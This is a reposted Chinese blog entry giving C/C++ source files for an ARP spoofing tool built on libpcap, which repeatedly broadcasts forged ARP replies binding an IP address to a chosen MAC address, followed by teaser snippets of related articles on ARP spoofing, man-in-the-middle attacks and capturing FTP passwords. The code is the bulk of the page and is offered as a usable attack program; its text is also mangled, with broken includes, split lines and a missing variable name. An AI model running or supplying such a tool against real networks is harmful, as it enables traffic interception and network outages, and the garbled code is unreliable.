ARP欺骗

转载 2007年09月18日 17:39:00
 
main.cpp

--------------------------------

#i nclude 
"main.h"

pcap_t 
*driver;
u_char 
*buff ;
void *thread_send(void *);
int main(int argc, char **argv)
...{
pcap_if_t 
*all,*current;

u_char packet[
100];
struct pcap_pkthdr *head;
char *eth_dst = "00-02-3f-03-3f-26";
char *errbuff;
char *data;
char in;
int intin;
int i = 0;
if(pcap_findalldevs(&all,errbuff) == -1)
...{
   fprintf(stderr,
"error in open interface the reason is: %s",errbuff);
   exit(
-1);
}

= 1;
for(current = all;current;current = current->next)
...{
   fprintf(stdout,
"%d.%s(%s) ",i,current->name,current->description);
   i
++;
}

fprintf(stdout,
"input the number of the interface:");
scanf(
"%c",&in);
intin 
= atoi(&in);
for(current = all,i = 1;current;current = current->next,i++)
...{
   
if(i == intin)
   
...{
    
break;
   }

}

fprintf(stdout,
"you choice driver is %s(%s)",current->name,current->description);
char buff_t[strlen(current->name)];
strcpy(buff_t,current
->name);
pcap_freealldevs(all);
if((driver = pcap_open_live(buff_t,65535,PCAP_OPENFLAG_PROMISCUOUS,1000,errbuff)) == NULL)
...{
   fprintf(stdout,
"open a driver error ,reason:%s",errbuff);
   
return -1;
}

    
    
/**//* Send down the packet */
    
if (pcap_sendpacket(driver, packet, 100 ) != 0)
    
...{
        fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
        
return 1;
    }

    buff 
= (u_char*)malloc(sizeof(struct ether_header) + sizeof(struct ARP_HEADER));
    
struct ether_header *eh = (struct ether_header*)buff;
    
char tmp[ETHER_ADDR_LEN];
    
//dst-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(eh->ether_dhost),tmp,ETHER_ADDR_LEN);
    
//src-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(eh->ether_shost),tmp,ETHER_ADDR_LEN);
    eh
->ether_type=htons(0x0806);
    
struct ARP_HEADER *arp;
    arp 
= (struct ARP_HEADER*)(buff + sizeof(struct ether_header));
    arp
->arp_hdr = htons(1);
    arp
->arp_pro = htons(0x0800);
    arp
->arp_hln = 0x0006;
    arp
->arp_pln = 0x0004;
    arp
->arp_opt = htons(0x0002);
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(arp->arp_sha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"10.100.0.61",(struct in_addr*)&(arp->arp_spa));
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(arp->arp_tha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"0.0.0.0",(struct in_addr*)&(arp->arp_tpa));
    thread_create(thread_send);
    wait_thread();
    
return 0;
}


void *thread_send(void *)
...{
while(true)
    
...{
     
if (pcap_sendpacket(driver, buff, sizeof(struct ether_header) + sizeof(struct ARP_HEADER)) != 0)
     
...{
         fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
         
return NULL;
     }

     sleep(
30);
   }

}



main.h

--------------------------------------------------------------

#i nclude 
"pcap.h"
#i nclude 
<stdlib.h>
#i nclude 
<stdio.h>
#i nclude 
<string.h>
#i nclude 
"util.h"
#i nclude 
<sys/socket.h>
#i nclude 
<netinet/in.h>
#i nclude 
<arpa/inet.h>
#i nclude 
<unistd.h>
#i nclude 
"thread.h"
#define SIOCGARP 0x00008951
using namespace std;
#ifndef ETHER_ADDR_LEN
#define ETHER_ADDR_LEN 6
#endif



#ifndef PCAP_OPENFLAG_PROMISCUOUS
#define PCAP_OPENFLAG_PROMISCUOUS 1
#endif


struct ARP_HEADER   //ARP头部
...{
    unsigned 
short arp_hdr;
    unsigned 
short arp_pro;
    unsigned 
char   arp_hln;
    unsigned 
char   arp_pln;
    unsigned 
short arp_opt;
    unsigned 
char   arp_sha[6];
    unsigned 
char   arp_spa[4];
    unsigned 
char   arp_tha[6];
    unsigned 
long   arp_tpa[4];
}
;

struct ether_header 
...{
u_char ether_dhost[ETHER_ADDR_LEN];
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type;
}
;

thread.cpp

--------------------------------------------------------------------

#i nclude 
<pthread.h>
#i nclude 
<iostream>
#i nclude 
"thread.h"

pthread_t t;

void thread_create(void *(*methd)(void*))
...{
using namespace std;
if(pthread_create(&t,NULL,methd,NULL))
...{
cout 
<< "error create thread" << endl;
exit(
0);
}

}


void wait_thread()
...{
pthread_join(t,NULL); 
}


thread.h

----------------------

void thread_create(void *(*methd)(void*));
void wait_thread();


util.cpp

-----------------------------------------------------


#i nclude 
<string>
#i nclude 
<iostream>
#i nclude 
"util.h"
#i nclude 
<math.h>
int hex_to_int(const char ,int );
extern "C" void eth_addr_parse(const char *s,char *d)
...{
     
using std::string;
     
string str(s);
     
int index = 0;
     
int beg = 0;
     
int li = 0;
     
while(beg <= str.length() && (index = str.find("-",beg)) != str.npos)
     
...{
         
string sub = str.substr(beg,index - beg);
         
int sum = 0;
         
int i = 1;
         
for(int j = sub.length(); j > 0;j--)
         
...{
           sum 
+= hex_to_int(sub[j - 1],i++);
         }

         d[li
++= sum;
         beg 
= index + 1;
     }

     
if(beg < str.length())
     
...{
        
string sub = str.substr(beg,str.length() - beg);
        
int sum = 0;
        
int i = 1;
        
for(int j = sub.length(); j > 0;j--)
       
...{
         sum 
+= hex_to_int(sub[j - 1],i++);
       }

       d[li
++= sum;
     }

}


int hex_to_int(const char c,int i)
...{
  
for(int j = 0; j < 6; j++)
...{
  
   
if(c == (char)(97+j))
   
...{
    
return (10 + c - 97)*(int)pow(16,i-1);
   }

}

char buf[1] ;
buf[
0= c;
return atoi(buf)*(int)pow(16,i-1);
}




util.h

extern "C" void eth_addr_parse(const char *,char *);

ARP 欺骗+ICMP 重定向

不同于局域网内的 ARP 欺骗,跨网段的 ARP 欺骗一直 是技术难点。有些学者提出可用“ARP 欺骗+ICMP 重定向” 解决[4]。比如,假设网络 1 与网络 2 经一个路由器相联,在 网络 1 ...

关于ARP、MAC、IP欺骗以及TCP劫持

三个多月没更新博客,期间也有在学习和总结一些东西,只是或多或少都涉及到公司相关的信息(业务,JVM,WebServer)所以不便写出来,有时候写到一半发现又不太合适然后删除,很郁闷。之前一直比较关注w...
  • sdulibh
  • sdulibh
  • 2015年05月11日 14:35
  • 1351

ARP欺骗攻击获得FTP用户名密码

1.实验示意图: 试验的原理就是利用ARP的原理让局域网里的主机出现识别错误,从而实现A-C的通讯,经过了攻击者B。 2.第一步这是A初始的ARP表,在攻击以后可以看到改变。 3.第三步:这是C的AR...

关于ARP欺骗与MITM(中间人攻击)的一些笔记(二)

http://blog.csdn.net/dj1174232716/article/details/38377163 再次说明,这些技术并不是本人原创的,而是以前记录在Evern...

kali中ARP欺骗与MITM(中间人攻击)(一)

测试环境如下: 拓扑图:

ettercap&wireshark简单实现ARP欺骗+监控

系统版本 lsb_release -a

ARP网关欺骗程序的实现(vs2008 winpacp)

向局域网发送ARP应答包,向局域网所有主机发送错误的网关MAC地址,这样所有的计算机都不能上网了 源代码 环境 :windows xp ,vs2008,安装winpacp 开发包...

基于ARP欺骗的网络攻击程序源码

一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址,源MAC地址却改为自己的MAC地址。我们把发送给A的arp数据报的源IP,源MA...

基于JAVA的ARP欺骗的程序实现

在实现ARP欺骗之前,我们必须知道什么是ARP。        在局域网当中,当主机或其它网络设备有数据要发送给另一个主机或设备时,它必须要知道对方的IP地址,但仅仅有IP地址是不够的,因为IP数据...
  • zsg88
  • zsg88
  • 2017年02月12日 00:14
  • 630

基于ARP欺骗的网络攻击程序源码

最近开始学WINPCAP,看了很多高手写的基于arp欺骗的抓包工具,尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》,令我收益非浅。下面是我把这个思想改成arp攻击程序...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:ARP欺骗
举报原因:
原因补充:

(最多只允许输入30个字)